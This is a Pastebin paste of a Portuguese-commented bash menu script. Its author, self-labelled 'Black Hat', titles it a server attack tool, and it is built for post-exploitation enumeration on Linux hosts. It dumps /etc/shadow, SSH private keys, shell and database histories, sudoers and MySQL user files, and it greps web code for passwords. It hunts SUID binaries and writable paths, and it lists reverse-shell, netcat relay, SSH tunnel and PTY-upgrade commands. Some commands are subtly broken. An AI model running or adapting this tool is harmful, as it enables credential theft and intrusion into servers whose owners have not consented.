DarkProgrammer000

Forense [server attack]

Jul 11th, 2021
1,156
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2.  
  3. ############
  4. # FUNCAO 1 #
  5. ############
  6.  
  7. # Apresentacao
  8. apresentacao()
  9. {
  10.  
  11.     clear
  12. #   printf "     \e[1;92m.-\"\"\"\"-. \e[0m\n"
  13. #   printf "    \e[1;92m/        \ \e[0m\n"
  14. #   printf " \e[1;77m  \e[0m\e[1;92m/_        _\ \e[0m\n"
  15. #   printf "\e[1;77m  \e[0m\e[1;92m// \      / \\ \e[0m\n"
  16. #   printf "\e[1;77m  \e[0m\e[1;92m|\__\    /__/ \e[0m\n"
  17. #   printf "\e[1;77m  \e[0m\e[1;92m\    ||    / \e[0m\n"
  18. #   printf "\e[1;77m   \e[0m\e[1;92m\        / \e[0m\n"
  19. #   printf "\e[1;92m \e[0m   \e[1;92m\  __  / \e[0m\n"
  20. #   printf "     \e[1;92m'.__.' \e[0m\n\n"
  21.  
  22. #   echo -e "\033[01;33m###################################\033[01;37m"
  23.     echo -e "\033[01;32m Desenvolvido por DarProgrammer000\033[01;37m"
  24.     echo -e "\033[31;5m Black Hat DarkProgrammer000 \n\033[0m"
  25. #   echo -e "\033[01;33m###################################\033[01;37m"
  26. #   echo ""
  27. }
  28.  
  29. #############
  30. # FUNCOES 2 #
  31. #############
  32.  
  33. #1) Distribuicao e Versao do SO
  34. 1()
  35. {
  36.     # Apresentacao
  37.     clear
  38.     echo -e "\033[01;32m##### Distribuicao e Versao do S.O #####\n\033[01;37m"
  39.  
  40.     # Estrutura de repeticao: for + array
  41.     declare -a arr=("$(cat /etc/issue)"
  42.             "$(cat /etc/*-release)"
  43.             )
  44.    
  45.     # Chamada de metodo: Leitura de array
  46.     leitura_lista
  47. }
  48.  
  49. #2) Versao e arquitetura do Kernel
  50. 2()
  51. {
  52.     # Apresentacao
  53.     clear
  54.     echo -e "\033[01;32m##### Arquitetura do KERNEL #####\n\033[01;37m"
  55.    
  56.     # Estrutura de repeticao: for + array
  57.     declare -a arr=("$(cat /proc/version)"
  58.             "$(uname -a)"
  59.             "$(uname -mrs)"
  60.             "$(rpm -q kernel)"
  61.             "$(dmesg | grep -i Linux)"
  62.             "$(ls /boot | grep -i vmlinuz-)"
  63.             )
  64.  
  65.     # Chamada de metodo: Leitura de array
  66.     leitura_lista
  67. }
  68.  
  69. #3) Verificacao de variaveis de ambiente
  70. 3()
  71. {
  72.     # Apresentacao
  73.     clear
  74.     echo -e "\033[01;32m##### Variaveis de ambiente #####\n\033[01;37m"
  75.  
  76.     # Estrutura de repeticao: for + array
  77.     declare -a arr=("$(cat /etc/profile)"
  78.             "$(cat /etc/bashrc)"
  79.             "$(cat ~/.bash_profile)"
  80.             "$(cat ~/.bashrc)"
  81.             "$(cat ~/.bash_logout)"
  82.             "$(env)"
  83.             "$(set)"
  84.             )
  85.    
  86.     # Chamada de metodo: Leitura de array
  87.     leitura_lista
  88. }
  89.  
  90. #4) Verificacao de aplicacoes e privilegios
  91. 4()
  92. {
  93.     # Apresentacao
  94.     clear
  95.     echo -e "\033[01;32m##### Aplicacoes e privilegios #####\n\033[01;37m"
  96.  
  97.     # Estrutura de repeticao: for + array
  98.     declare -a arr=("$(ps aux)"
  99.             "$(ps -ef)"
  100.             "$(cat /etc/services)"
  101.             #"$(top)"
  102.             )
  103.    
  104.     # Chamada de metodo: Leitura de array
  105.     leitura_lista
  106. }
  107.  
  108. #5) Verificacao de aplicacoes e servicoes e privilegios pelo ROOT
  109. 5()
  110. {
  111.     # Apresentacao
  112.     clear
  113.     echo -e "\033[01;32m##### Servicos executados pelo ROOT#####\n\033[01;37m"
  114.  
  115.     # Estrutura de repeticao: for + array
  116.     declare -a arr=("$(ps -aux | grep -i root)"
  117.             "$(ps -ef | grep -i root)"
  118.             )
  119.  
  120.     # Chamada de metodo: Leitura de array
  121.     leitura_lista
  122. }
  123.  
  124.  
  125. #6) Verificacao de aplicacoes instaladas
  126. 6()
  127. {
  128.     # Apresentacao
  129.     clear
  130.     echo -e "\033[01;32m##### Aplicacoes instaladas e executando #####\n\033[01;37m"
  131.  
  132.     # Estrutura de repeticao: for + array
  133.     declare -a arr=("$(ls -alh /usr/bin/)"
  134.             "$(ls -alh /sbin/)"
  135.             "$(dpkg -l)"
  136.             "$(rpm -qa)"
  137.             "$(ls -alh /var/cache/apt/archives)"
  138.             "$(ls -alh /var/cache/apt/yum)"
  139.             )
  140.  
  141.     # Chamada de metodo: Leitura de array
  142.     leitura_lista
  143. }
  144.  
  145. #7) Aplicacoes mal configuradas
  146. 7()
  147. {
  148.     # Apresentacao
  149.     clear
  150.     echo -e "\033[01;32m##### Procurar aplicacoes mal configuradas #####\n\033[01;37m"
  151.  
  152.     # Estrutura de repeticao: for + array
  153.     declare -a arr=("$(cat /etc/inetd.conf)"
  154.             "$(cat /etc/inetd.conf)"
  155.             "$(cat /etc/chttp.conf)"
  156.             "$(cat /etc/lighttpd.conf)"
  157.             "$(cat /etc/cups/cupsd.conf)"
  158.             "$(cat /etc/apache2/apache2.confcrontab -l)"
  159.             "$(cat /etc/syslog.conf)"
  160.             )
  161.  
  162.     # Chamada de metodo: Leitura de array
  163.     leitura_lista
  164. }
  165.  
  166. #8) Verificacao se há agendamentos
  167. 8()
  168. {
  169.     # Apresentacao
  170.     clear
  171.     echo -e "\033[01;32m##### Agendamentos #####\n\033[01;37m"
  172.  
  173.     # Estrutura de repeticao: for + array
  174.     declare -a arr=("$(ls -alh /var/spool/cron)"
  175.             "$(ls -al /etc/ | grep cron)"
  176.             "$(ls -al /etc/cron*)"
  177.             "$(cat /etc/cron*)"
  178.             "$(cat /etc/mysql/my.cnf)"
  179.             "$(cat /etc/crontab)"
  180.             "$(cat /etc/at.allow)"
  181.             "$(cat /etc/at.deny)"
  182.             "$(cat /etc/cron.allow)"
  183.             "$(cat /etc/cron.deny)"
  184.             "$(cat /etc/anacrontab)"
  185.             "$(cat /var/spool/cron/crontabs/root)"
  186.             "$(cat /etc/my.conf)"
  187.             "$(cat /etc/httpd/conf/httpd.conf)"
  188.             "$(cat /opt/lampp/etc/httpd.conf)"
  189.             "$(ls -arl /etc | awk \'$1 ~ /^.*r.*/\')"
  190.             )
  191.  
  192.     # Chamada de metodo: Leitura de array
  193.     leitura_lista
  194. }
  195.  
  196. #9) Procurar por username e senha em texto claro
  197. 9()
  198. {
  199.     # Apresentacao
  200.     clear
  201.     echo -e "\033[01;32m##### Procurar por 'username' e 'senha' em texto claro #####\n\033[01;37m"
  202.  
  203.     # Estrutura de repeticao: for + array
  204.     declare -a arr=("$(find /var -name "*.php" -print0 | xargs -0 grep -i -n "user" --color)"
  205.             "$(find /etc -name "*.php" -print0 | xargs -0 grep -i -n "user" --color)"
  206.             "$(find /var -name "*.php" -print0 | xargs -0 grep -i -n "pass" --color)"
  207.             "$(find /etc -name "*.php" -print0 | xargs -0 grep -i -n "pass" --color)"
  208.             )
  209.  
  210.     # Chamada de metodo: Leitura de array
  211.     leitura_lista
  212. }
  213.  
  214. #10) Verificar dispositivos de rede
  215. 10()
  216. {
  217.     # Apresentacao
  218.     clear
  219.     echo -e "\033[01;32m##### Dispositivos de rede #####\n\033[01;37m"
  220.  
  221.     # Estrutura de repeticao: for + array
  222.     declare -a arr=("$(cat /etc/network/interfaces)"
  223.             "$(/sbin/ifconfig -a)"
  224.             )
  225.  
  226.     # Chamada de metodo: Leitura de array
  227.     leitura_lista
  228. }
  229.  
  230. #11) Verificacao configuracoes de rede
  231. 11()
  232. {
  233.     # Apresentacao
  234.     clear
  235.     echo -e "\033[01;32m##### Configuracoes de rede #####\n\033[01;37m"
  236.  
  237.     # Estrutura de repeticao: for + array
  238.     declare -a arr=("$(cat /etc/resolv.conf)"
  239.             "$(cat /etc/systemd/networkd.conf)"
  240.             "$(cat /etc/networks)"
  241.             "$(iptables -L)"
  242.             "$(hostname)"
  243.             "$(dnsdomainname)"
  244.             )
  245.  
  246.     # Chamada de metodo: Leitura de array
  247.     leitura_lista
  248. }
  249.  
  250. #12) Verificar conexoes
  251. 12()
  252. {
  253.     # Apresentacao
  254.     clear
  255.     echo -e "\033[01;32m##### Verificar conexoes #####\n\033[01;37m"
  256.  
  257.     # Estrutura de repeticao: for + array
  258.     declare -a arr=("$(lsof -i)"
  259.             "$(lsof -i :80)"
  260.             "$(grep 80 /etc/services)"
  261.             "$(netstat -antup)"
  262.             "$(netstat -antpx)"
  263.             "$(netstat -tulpn)"
  264.             "$(last)"
  265.             "$(w)"
  266.             "$(chkconfig --list)"
  267.             "$(chkconfig --list | grep 3:on)"
  268.             )
  269.  
  270.     # Chamada de metodo: Leitura de array
  271.     leitura_lista
  272. }
  273.  
  274. #13) Verificar rotas e cache arp
  275. 13()
  276. {
  277.     # Apresentacao
  278.     clear
  279.     echo -e "\033[01;32m##### Rotas e cache arp #####\n\033[01;37m"
  280.  
  281.     # Estrutura de repeticao: for + array
  282.     declare -a arr=("$(arp -e)"
  283.             "$(route)"
  284.             "$(/sbin/route -nee)"
  285.             )
  286.  
  287.     # Chamada de metodo: Leitura de array
  288.     leitura_lista
  289. }
  290.  
  291. #14) Verificar se a shell interativo
  292. 14()
  293. {
  294.     # Apresentacao
  295.     clear
  296.     echo -e "\033[01;32m##### Shell interativo #####\n\033[01;37m"
  297.  
  298.     # Estrutura de repeticao: for + array
  299.     declare -a arr=("nc -lvp 4444"
  300.             "nc -lvp 4445"
  301.             "telnet 192.168.0.16 666 | /bin/sh | 192.168.0.1 80"
  302.             )
  303.  
  304.     # Chamada de metodo: Leitura de array
  305.     leitura_lista
  306. }
  307.  
  308. #a) Verificacao de possibilidade de encaminhamento de trafego
  309. 15()
  310. {
  311.     # Apresentacao
  312.     clear
  313.     echo -e "\033[01;32m##### Possibilidade de encaminhamento de trafego #####\n\033[01;37m"
  314.    
  315.     # Estrutura de repeticao: for + array
  316.     declare -a arr=("ssh -R 8080:127.0.0.1:80 root@192.168.0.19)"
  317.             "ssh -L 8080:127.0.0.1:80 root@192.168.0.19)"
  318.             "mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe"
  319.             "mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe"
  320.             "mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe"
  321.             )
  322.  
  323.     # Chamada de metodo: Leitura de array
  324.     leitura_lista
  325. }
  326.  
  327. #16) Verificacao possibilidade de Tunelamento de SSH
  328. 16()
  329. {
  330.     # Apresentacao
  331.     clear
  332.     echo -e "\033[01;32m##### Possibilidade de Tunelamento de SSH #####\n\033[01;37m"
  333.  
  334.     # Estrutura de repeticao: for + array
  335.     declare -a arr=("ssh -D 127.0.0.1:9050 -N root@192.168.0.19"
  336.             "proxychains ifconfig"
  337.             )
  338.  
  339.     # Chamada de metodo: Leitura de array
  340.     leitura_lista
  341. }
  342. #17) Verifcar quem esta logado e quem pode ler, escrever e executar
  343. 17()
  344. {
  345.     # Apresentacao
  346.     clear
  347.     echo -e "\033[01;32m##### Quem esta logado, quem pode ler, escrever e executar #####\n\033[01;37m"
  348.  
  349.     # Estrutura de repeticao: for + array
  350.     declare -a arr=("$(id)"
  351.             "$(who)"
  352.             "$(w)"
  353.             "$(last)"
  354.             "$(cat /etc/passwd | cut -d: -f1)"
  355.             "$(grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}')"
  356.             "$(cat /etc/sudoers)"
  357.             "$(sudo -l)"
  358.             )
  359.  
  360.     # Chamada de metodo: Leitura de array
  361.     leitura_lista
  362. }
  363.  
  364. #18) Procurar por arquivos sensiveis
  365. 18()
  366. {
  367.     # Apresentacao
  368.     clear
  369.     echo -e "\033[01;32m##### Procurar por arquivos sensiveis #####\n\033[01;37m"
  370.  
  371.     # Estrutura de repeticao: for + array
  372.     declare -a arr=("$(/etc/passwd)"
  373.             "$(/etc/group)"
  374.             "$(/etc/shadow)"
  375.             "$(ls -alh /var/mail/)"
  376.             )
  377.  
  378.     # Chamada de metodo: Leitura de array
  379.     leitura_lista
  380. }
  381.  
  382. #19) Procurar por informações de interesse no home e diretório root
  383. 19()
  384. {
  385.     # Apresentacao
  386.     clear
  387.     echo -e "\033[01;32m##### Procurar por informacoes de interesse no home e diretorio root #####\n\033[01;37m"
  388.  
  389.     # Estrutura de repeticao: for + array
  390.     declare -a arr=("$(ls -ahlR /root/)"
  391.             "$(ls -ahlR /home/)"
  392.             )
  393.  
  394.     # Chamada de metodo: Leitura de array
  395.     leitura_lista
  396. }
  397.  
  398. #20) Procurar por senha em arquivos de logs, scripts e databasss em caminho padrao
  399. 20()
  400. {
  401.     # Apresentacao
  402.     clear
  403.     echo -e "\033[01;32m##### Procurar por senha em arquivos de logs, scripts e databases em caminho padrao #####\n\033[01;37m"
  404.  
  405.     # Estrutura de repeticao: for + array
  406.     declare -a arr=("$(cat /var/apache2/config.inc)"
  407.             "$(cat /var/lib/mysql/mysql/user.MYD)"
  408.             "$(cat /root/anaconda-ks.cfg)"
  409.             )
  410.  
  411.     # Chamada de metodo: Leitura de array
  412.     leitura_lista
  413. }
  414.  
  415. #a) O que o usuario tem no seu history
  416. 21()
  417. {
  418.     # Apresentacao
  419.     clear
  420.     echo -e "\033[01;32m##### O que o usuario tem no seu history #####\n\033[01;37m"
  421.  
  422.     # Estrutura de repeticao: for + array
  423.     declare -a arr=("$(cat ~/.bash_history)"
  424.             "$(cat ~/.nano_history)"
  425.             "$(cat ~/.atftp_history)"
  426.             "$(cat ~/.mysql_history)"
  427.             "$(cat ~/.php_history)"
  428.             )
  429.  
  430.     # Chamada de metodo: Leitura de array
  431.     leitura_lista
  432. }
  433.  
  434. #a) Procurar por mais informacoes de usuarios
  435. 22()
  436. {
  437.     # Apresentacao
  438.     clear
  439.     echo -e "\033[01;32m##### Procurar por mais informacoes de usuarios  #####\n\033[01;37m"
  440.  
  441.     # Estrutura de repeticao: for + array
  442.     declare -a arr=("$(cat ~/.bashrc)"
  443.             "$(cat ~/.profile)"
  444.             "$(cat /var/mail/root)"
  445.             "$(cat /var/spool/mail/root)"
  446.             )
  447.  
  448.     # Chamada de metodo: Leitura de array
  449.     leitura_lista
  450. }
  451.  
  452. #a) Procurar por chaves privadas ssh
  453. 23()
  454. {
  455.     # Apresentacao
  456.     clear
  457.     echo -e "\033[01;32m##### Procurar por chaves privadas ssh #####\n\033[01;37m"
  458.  
  459.     # Estrutura de repeticao: for + array
  460.     declare -a arr=("$(cat ~/.ssh/authorized_keys)"
  461.             "$(cat ~/.ssh/identity.pub)"
  462.             "$(cat ~/.ssh/identity)"
  463.             "$(cat ~/.ssh/id_rsa.pub)"
  464.             "$(cat ~/.ssh/id_rsa)"
  465.             "$(cat ~/.ssh/id_dsa.pub)"
  466.             "$(cat ~/.ssh/id_dsa)"
  467.             "$(cat /etc/ssh/ssh_config)"
  468.             "$(cat /etc/ssh/sshd_config)"
  469.             "$(cat /etc/ssh/ssh_host_dsa_key.pub)"
  470.             "$(cat /etc/ssh/ssh_host_dsa_key)"
  471.             "$(cat /etc/ssh/ssh_host_rsa_key.pub)"
  472.             "$(cat /etc/ssh/ssh_host_rsa_key)"
  473.             "$(cat /etc/ssh/ssh_host_key.pub)"
  474.             "$(cat /etc/ssh/ssh_host_key)"
  475.             )
  476.  
  477.     # Chamada de metodo: Leitura de array
  478.     leitura_lista
  479. }
  480.  
  481. #a) Verificar se ha arquivos no /etc/que podem ser editados ou que possam ser reconfigurados
  482. 24()
  483. {
  484.     # Apresentacao
  485.     clear
  486.     echo -e "\033[01;32m##### Verificar se ha arquivos no /etc/que podem ser editados ou que possam ser reconfigurados #####\n\033[01;37m"
  487.  
  488.     # Estrutura de repeticao: for + array
  489.     declare -a arr=("$(ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null)"
  490.             "$(ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null)"
  491.             "$(ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null)"
  492.             "$(ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null)"
  493.             "$(find /etc/ -readable -type f 2>/dev/null)"
  494.             "$(find /etc/ -readable -type f -maxdepth 1 2>/dev/null)"
  495.             )
  496.            
  497.     # Chamada de metodo: Leitura de array
  498.     leitura_lista
  499. }
  500.  
  501. #25) Procurar por arquivos em /var
  502. 25()
  503. {
  504.     # Apresentacao
  505.     clear
  506.     echo -e "\033[01;32m##### Procurar por arquivos em /var #####\n\033[01;37m"
  507.  
  508.     # Estrutura de repeticao: for + array
  509.     declare -a arr=("$(ls -alh /var/log)"
  510.             "$(ls -alh /var/mail)"
  511.             "$(ls -alh /var/spool)"
  512.             "$(ls -alh /var/spool/lpd)"
  513.             "$(ls -alh /var/lib/pgsql)"
  514.             "$(ls -alh /var/lib/mysql)"
  515.             "$(cat /var/lib/dhcp3/dhclient.leases)"
  516.             )
  517.    
  518.     # Chamada de metodo: Leitura de array
  519.     leitura_lista
  520. }
  521.  
  522. #26) Procurar por informacoes em arquivos ocultos em website ou informacoes em bancos de dados
  523. 26()
  524. {
  525.     # Apresentacao
  526.     clear
  527.     echo -e "\033[01;32m##### Procurar por informacoes em arquivos ocultos em website ou informacoes em bancos de dados #####\n\033[01;37m"
  528.  
  529.     # Estrutura de repeticao: for + array
  530.     declare -a arr=("$(ls -alhR /var/www/)"
  531.             "$(ls -alhR /srv/www/htdocs/)"
  532.             "$(ls -alhR /usr/local/www/apache22/data/)"
  533.             "$(ls -alhR /opt/lampp/htdocs/)"
  534.             "$(ls -alhR /var/www/html/)"
  535.             )
  536.  
  537.     # Chamada de metodo: Leitura de array
  538.     leitura_lista
  539. }
  540.  
  541. #27) Procurar por informacoes em arquivos de logs
  542. 27()
  543. {
  544.     # Apresentacao
  545.     clear
  546.     echo -e "\033[01;32m##### Procurar por informacoes em arquivos de logs #####\n\033[01;37m"
  547.  
  548.     # Estrutura de repeticao: for + array
  549.     declare -a arr=("$(cat /etc/httpd/logs/access_log)"
  550.             "$(cat /etc/httpd/logs/access.log)"
  551.             "$(cat /etc/httpd/logs/error_log)"
  552.             "$(cat /etc/httpd/logs/error.log)"
  553.             "$(cat /var/log/apache2/access_log)"
  554.             "$(cat /var/log/apache2/access.log)"
  555.             "$(cat /var/log/apache2/error_log)"
  556.             "$(cat /var/log/apache2/error.log)"
  557.             "$(cat /var/log/apache/access_log)"
  558.             "$(cat /var/log/apache/access.log)"
  559.             "$(cat /var/log/auth.log)"
  560.             "$(cat /var/log/chttp.log)"
  561.             "$(cat /var/log/cups/error_log)"
  562.             "$(cat /var/log/dpkg.log)"
  563.             "$(cat /var/log/faillog)"
  564.             "$(cat /var/log/httpd/access_log)"
  565.             "$(cat /var/log/httpd/access.log)"
  566.             "$(cat /var/log/httpd/error_log)"
  567.             "$(cat /var/log/httpd/error.log)"
  568.             "$(cat /var/log/lastlog)"
  569.             "$(cat /var/log/lighttpd/access.log)"
  570.             "$(cat /var/log/lighttpd/error.log)"
  571.             "$(cat /var/log/lighttpd/lighttpd.access.log)"
  572.             "$(cat /var/log/lighttpd/lighttpd.error.log)"
  573.             "$(cat /var/log/messages)"
  574.             "$(cat /var/log/secure)"
  575.             "$(cat /var/log/syslog)"
  576.             "$(cat /var/log/wtmp)"
  577.             "$(cat /var/log/xferlog)"
  578.             "$(cat /var/log/yum.log)"
  579.             "$(cat /var/run/utmp)"
  580.             "$(cat /var/webmin/miniserv.log)"
  581.             "$(cat /var/www/logs/access_log)"
  582.             "$(cat /var/www/logs/access.log)"
  583.             "$(ls -alh /var/lib/dhcp3/)"
  584.             "$(ls -alh /var/log/postgresql/)"
  585.             "$(ls -alh /var/log/proftpd/)"
  586.             "$(ls -alh /var/log/samba/)"
  587.             )
  588.  
  589.     # Chamada de metodo: Leitura de array
  590.     leitura_lista
  591. }
  592.  
  593. #28) Mudar de um shell cachorro para um shell mais interativo com python
  594. 28()
  595. {
  596.     # Apresentacao
  597.     clear
  598.     echo -e "\033[01;32m##### Mudar de um shell cachorro para um shell mais interativo com python #####\n\033[01;37m"
  599.  
  600.     # Estrutura de repeticao: for + array
  601.     declare -a arr="python -c \"import pty; pty.spawn('/bin/bash')\""
  602.  
  603.     # Chamada de metodo: Leitura de array
  604.     leitura_lista
  605. }
  606.  
  607. #29) Verificar com o sistema de arquivos está montado
  608. 29()
  609. {
  610.     # Apresentacao
  611.     clear
  612.     echo -e "\033[01;32m##### Verificar com o sistema de arquivos esta montado #####\n\033[01;37m"
  613.  
  614.     # Estrutura de repeticao: for + array
  615.     declare -a arr=("$(mount)"
  616.             "$(df -h)"
  617.             )
  618.  
  619.     # Chamada de metodo: Leitura de array
  620.     leitura_lista
  621. }
  622.  
  623. #a) Verificar se há sistema de arquivos desmontado
  624. 30()
  625. {
  626.     # Apresentacao
  627.     clear
  628.     echo -e "\033[01;32m##### Verificar se ha sistema de arquivos desmontado #####\n\033[01;37m"
  629.  
  630.     # Estrutura de repeticao: for + array
  631.     declare -a arr=("$(cat /etc/fstab)")
  632.  
  633.     # Chamada de metodo: Leitura de array
  634.     leitura_lista
  635. }
  636.  
  637. #31) Verificar permissoes avancadas (Sticky bits, SUID e GUID)
  638. 31()
  639. {
  640.     # Apresentacao
  641.     clear
  642.     echo -e "\033[01;32m##### Verificar permissões avançadas (Sticky bits, SUID e GUID) #####\n\033[01;37m"
  643.  
  644.     # Estrutura de repeticao: for + array
  645.     declare -a arr=("$(find / -perm -1000 -type d 2>/dev/null)"
  646.             "$(find / -perm -g=s -type f 2>/dev/null)"
  647.             "$(find / -perm -u=s -type f 2>/dev/null)"
  648.             "$(find / -perm -g=s -o -perm -u=s -type f 2>/dev/null)"
  649.             "$(for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done)"
  650.             "$(find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null)"
  651.             )
  652.  
  653.     # Chamada de metodo: Leitura de array
  654.     leitura_lista
  655. }
  656.  
  657. #32) Procurar por locais onde se pode escrever e executar arquivos
  658. 32()
  659. {
  660.     # Apresentacao
  661.     clear
  662.     echo -e "\033[01;32m##### Procurar por locais onde se pode escrever e executar arquivos #####\n\033[01;37m"
  663.  
  664.     # Estrutura de repeticao: for + array
  665.     declare -a arr=("$(find / -writable -type d 2>/dev/null)"
  666.             "$(find / -perm -222 -type d 2>/dev/null )"
  667.             "$(find / -perm -o w -type d 2>/dev/null)"
  668.             "$(find / -perm -o x -type d 2>/dev/null )"
  669.             "$(find / \( -perm -o w -perm -o x \) -type d 2>/dev/null )"
  670.             )
  671.  
  672.     # Chamada de metodo: Leitura de array
  673.     leitura_lista  
  674. }
  675.  
  676. #33) Procurar por arquivos graváveis por nobody
  677. 33()
  678. {
  679.     # Apresentacao
  680.     clear
  681.     echo -e "\033[01;32m##### Procurar por arquivos gravaveis por nobody #####\n\033[01;37m"
  682.  
  683.     # Estrutura de repeticao: for + array
  684.     declare -a arr=("$(find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print)"
  685.             "$(find /dir -xdev \( -nouser -o -nogroup \) -print)"
  686.             )
  687.  
  688.     # Chamada de metodo: Leitura de array
  689.     leitura_lista
  690. }
  691.  
  692. #a) Quais ferramentas de compilação e desenvolvimento podem ser usadas para construir um exploit
  693. 34()
  694. {
  695.     # Apresentacao
  696.     clear
  697.     echo -e "\033[01;32m##### Quais ferramentas de compilacao e desenvolvimento podem ser usadas para construir um exploit #####\n\033[01;37m"
  698.  
  699.     # Estrutura de repeticao: for + array
  700.     declare -a arr=("$(find / -name perl*)"
  701.             "$(find / -name python*)"
  702.             "$(find / -name gcc*)"
  703.             "$(find / -name cc*)"
  704.             )
  705.  
  706.     # Chamada de metodo: Leitura de array
  707.     leitura_lista
  708. }
  709.  
  710. #a) Quais ferrametas de transferência de arquivos existem
  711. 35()
  712. {
  713.     # Apresentacao
  714.     clear
  715.     echo -e "\033[01;32m##### Quais ferramentas de transferência de arquivos existem #####\n\033[01;37m"
  716.  
  717.     # Estrutura de repeticao: for + array
  718.     declare -a arr=("$(find / -name wget)"
  719.             "$(find / -name nc*)"
  720.             "$(find / -name netcat*)"
  721.             "$(find / -name tftp*)"
  722.             "$(find / -name ftp)"
  723.             )
  724.  
  725.     # Chamada de metodo: Leitura de array
  726.     leitura_lista
  727. }
  728.  
  729. ###################
  730. # Sessao controle #
  731. ###################
  732.  
  733. # Estrutura de repeticao da leitura de lista dos comandos de todas as funcoes
  734. leitura_lista()
  735. {
  736.    
  737.     # Exemplo de lista:
  738.     # declare -a arr=("$(COMANDO)" "$(COMANDO)" "$(COMANDO)")
  739.  
  740.     for i in "${arr[@]}"
  741.     do
  742.         echo -e "\033[01;34m$i \n\033[01;37m"
  743.     done
  744.  
  745.     # Pause para leitura
  746.     echo -e "\033[01;32m\n<<Enter>>\033[01;37m"
  747.     read
  748. }
  749.  
  750. # Montagem de menu principal
  751. controle_menu()
  752. {
  753.     # Montagem de um array list
  754.     declare -a arr=("Distribuicao e versao do sistema operacional"
  755.                 "Arquitetura do Kernel"
  756.             "Variaveis de Ambiente"
  757.             "Aplicacoes e Privilegios"
  758.             "Servicos executados pelo ROOT"
  759.             "Aplicacoes Instaladas"
  760.             "Aplicacoes Mal configuradas"
  761.             "Agendamentos"
  762.             "Procurando -> login e senha"
  763.             "Dispositivos de rede"
  764.             "Configuracoes de rede"
  765.             "Verificar conexoes"
  766.             "Rotas e cache arp"
  767.             "Shell interativo "
  768.             "Encaminhamento de trafego"
  769.             "Tunelamento SSH"
  770.             "Usuario -> logado, ler, escrever e executar"
  771.             "Arquivos sensiveis"
  772.             "Informacoes -> /home e /root"
  773.             "Procurando -> Senha em arquivos de logs, scripts e databases"
  774.             "Historico de comandos"
  775.             "Informacoes -> Usuarios"
  776.             "Chaves privadas SSH"
  777.             "Arquivos no /etc/ -> Editados ou Reconfigurados"
  778.             "Procurando -> Arquivos em /var"
  779.             "Procurando -> Arquivos ocultos em website ou em bancos de dados"
  780.             "Procurando -> Arquivos de logs"
  781.             "Shell TTY"
  782.             "Sistema de arquivos montado "
  783.             "Sistema de arquivos desmontado"
  784.             "Permissoes avancadas (Sticky bits, SUID e GUID)"
  785.             "Procurando -> Locais onde se pode escrever e executar arquivos"
  786.             "Procura -> Arquivos gravaveis"
  787.             "Ferramentas -> Exploits"
  788.             "Ferramentas -> Transferencia de arquivos"
  789.             )
  790.        
  791.     # Tamanho do vetor: ${#arr[@]}
  792.     # Estrutura em loop (estilo C))
  793.     # $i(indice): ${arr[$i]} (conteudo na lista)
  794.  
  795.     echo -e "\033[01;35m# MENU PRINCIPAL \033[01;37m"
  796.    
  797.     for (( i=0; i < ${#arr[@]}; i++))
  798.     do
  799.         echo -e "\033[01;33m # [$((i+1))]: ${arr[$i]} \033[01;37m"
  800.     done
  801.  
  802.     echo -e "\033[01;31m # [0]: Sair \n\033[01;37m"
  803.     echo -n -e "\033[01;37m# Opc.: \033[01;37m"
  804.     read opc
  805. }
  806.  
  807. # Estrutura em escolha
  808. escolha()
  809. {
  810.     case $opc in
  811.     1)  1;;
  812.     2)  2;;
  813.     3)  3;;
  814.     4)  4;;
  815.     5)  5;;
  816.     6)  6;;
  817.     7)  7;;
  818.     8)  8;;
  819.     9)  9;;
  820.     10)     10;;
  821.     11) 11;;
  822.     12)     12;;
  823.     13)     13;;
  824.     14)     14;;
  825.     15)     15;;
  826.     16)     16;;
  827.     17)     17;;
  828.     18)     18;;
  829.     19)     19;;
  830.     20)     20;;
  831.     21)     21;;
  832.     22)     22;;
  833.     23)     23;;
  834.     24)     24;;
  835.     25)     25;;
  836.     26)     26;;
  837.     27)     27;;
  838.     28)     28;;
  839.     29)     29;;
  840.     30)     30;;
  841.     31)     31;;
  842.     32)     32;;
  843.     33)     33;;
  844.     34)     34;;
  845.     35)     35;;
  846.     0)    ;;
  847.     *)    ;;
  848.     esac
  849. }
  850.  
  851. # Controle de fluxo
  852. Programa()
  853. {
  854.     while ((1))
  855.     do
  856.         apresentacao
  857.         controle_menu
  858.         escolha
  859.            
  860.         if (( opc == 0 ))
  861.         then
  862.             break
  863.         else
  864.             continue
  865.         fi
  866.     done
  867. }
  868.  
  869. ######################
  870. # Programa principal #
  871. ######################
  872.  
  873. # Execucao do programa
  874. Programa
RAW Paste Data